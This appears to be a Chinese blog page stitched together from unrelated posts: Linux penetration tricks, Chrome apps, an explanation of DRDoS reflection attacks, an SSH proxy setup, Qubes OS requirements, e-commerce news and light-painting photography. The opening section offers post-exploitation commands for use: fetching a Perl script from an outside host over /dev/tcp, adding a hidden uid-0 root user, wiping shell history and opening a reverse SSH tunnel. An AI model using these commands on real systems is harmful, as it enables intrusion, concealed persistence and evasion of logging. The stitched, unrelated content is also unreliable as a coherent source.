Linux常用渗透技巧

1.无wget nc等下载工具时下载文件
exec 5<>/dev/tcp/yese.yi.org/80 &&echo -e "GET /c.pl HTTP/1.0\n" >&5 && cat<&5 > c.pl

2.Linux添加uid为0的用户
useradd -o -u 0 cnbird

3.bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

4.SSH反向链接
ssh -C -f -N -g -R 44:127.0.0.1:22 [email protected] -p 指定远端服务器SSH端口
然后服务器上执行ssh localhost  -p 44即可

推荐十二款免费的Chrome应用

如果你正在使用Chrome浏览器,那么你一定要到Chrome Web Store里看一看。Chrome不仅仅是一款浏览器,它还支持很多应用程序。科技网站PCWorld近日就为大家精选了12款Chrome应用。

如果你正在使用Chrome浏览器,那么你一定要到Chrome Web Store里看一看。Chrome不仅仅是一款浏览器,它还支持很多应用程序。科技网站PCWorld近日就为大家精选了12款Chrome应用:

愤怒的小鸟

《愤怒的小鸟》是一款风靡全世界的移动游戏。这款Chrome应用将同样的游戏体验移植到浏览器中,绝对是打发时间的最佳选择。

《愤怒的小鸟》安装:

DRDoS 反弹DDoS攻击

DRDoS

利用反弹技术进行DDoS攻击的分析 攻击力度远大于分布式DDOS攻击

DRDOS是英文“Distributed Reflection Denial of Servie Attack”的缩写,中文意思是“分布式反射拒绝服务攻击”。与DoS、DdoS不同,该方式靠的是发送带有被害者IP地址的数据包给攻击主机(有点像送错信)。由于是利用TCP/IP服务的“三握手”的第二步,因此攻击者无需给被攻击者安装木马,发动DRDoS也只要花费攻击者很少的资源。

DRDoS是通过发送带有受害者IP地址的SYN连接请求包给攻击主机DGP,然后在根据TCP三次握手的规则,这些攻击主机BGP会向源IP(受害者IP)发出SYN+ACK包来响应这些请求,造成受害者主机忙于处理这些回应而被拒绝服务攻击。

给大家举个例子,比如我以A的名义给百度写了一封信,百度的每一个工作人员都知道了这封信,而且回了信。但信的地址是A的地址,所以百度就把信回给A,A无缘无故就受到了很多信件,郁闷死了吧。这就是DRDoS与DDoS的不同之处。

介绍了分布式拒绝服务(DDoS)和反弹式拒绝服务(DRDoS)的原理,对DRDoS的原理进行了重点分析。并提出了一些检测和防范的方法。

通过SSH代理服务器上网

需要的工具:

1.    SSH帐号一个

2.    SSH客户端putty

3.    Firefox浏览器(安装AutoProxy扩展插件)/ 或者IE

步骤:

Putty的配置

填写好主机IP,SSH端口,保存为会话

image

然后选择左边 连接-》SSH -》通道 ,

填写SSH端口映射设置,增加新的映射端口:7070,选择动态(Y),点击增加按钮 如图

Qubes系统

由著名的波兰美女黑客Joanna Rutkowska发布的一个基于Xen和Linux的开源操作系统。

最低配置:

  • 4GB内存
  • 64位Intel或AMD处理器(又名x86_64的64又名AMD64)
  • 英特尔GPU的强烈偏好(如果你有NVIDIA GPU,准备一些故障排除 ;我们没有测试ATI硬件)
  • 10GB磁盘(请注意,它是可能的外部USB硬盘上安装的Qubes,所以,你可以尝试在不牺牲你当前的系统,它记住,但是,该USB磁盘通常是缓慢 的!)
  • 强烈建议发SSD的磁盘

其它要求:

  • 英特尔VT - d或AMD IOMMU技术(这是需要有效的隔离网络的虚拟机)

如果你没有满足的附加条件,你仍然可以安装和使用Qubes。它仍然提供比传统的操作系统在安全性方面进行了重大改进,如GUI隔离,或内核保护的东西,因为不需要特殊的硬件。

QQ商城挖角淘宝新进展:单日新增商户超千家

一个专注于抄袭和挖墙脚的公司,膜拜吧天朝的臣民们、!

【搜狐IT消息】10月19日,据腾讯方面披露,自从本月13日腾讯在QQ商城和拍拍首页挂出“亿元营销资源大放送”的招商广告以来,每日新增申请商户的峰值突破了1000家,销售额也大幅增长。这意味着在淘宝商城卖家纠纷中,腾讯的挖墙脚举动已获得成效。

腾讯方面称,自13日以来,QQ商城每日新增申请商户的峰值突破了1000家,平均每日新增申请商户300-500家,其中有很多是有过多年电子商务运营经验的优质商家,这个数字是平时的好几倍,腾讯的审核人员已超负荷运转。

与此同时,来自腾讯的数据也显示,拍拍和QQ商城的实物销售额比去年同期增长了210%,其中,食品玩具,家居家装,男装,3C和女装等几个类目表现尤为出色,商家入驻的申请也更为积极踊跃。

10月13日,在淘宝商城遭遇阵痛、中小卖家暴动攻击大卖家之时,腾讯商城高调发布招商公告,为“具有其他电商平台运营经验的优秀商户”开设绿色通道并提供亿元营销资源。而根据腾讯商城的公告,腾讯商城仅收取2万元的保证金,不收取技术服务年费,远远低于淘宝商城3-5万元的技术服务费及5-15万元的保证金。

精美绝伦的光涂鸦作品

本文与大家分享20幅精美绝伦的光涂鸦摄影作品。光影涂鸦通常也被人们称为光绘画、光涂鸦和光电涂鸦,是一种在夜晚或黑暗的房间移手持式光源或相机产生光成图效果的摄影技术。依靠光线移动制造出妙不可言的形象,光电涂鸦艺术由此诞生。这项诞生于街头的表演艺术,现在已经在世界范围内掀起热潮。

精美绝伦的光涂鸦作品欣赏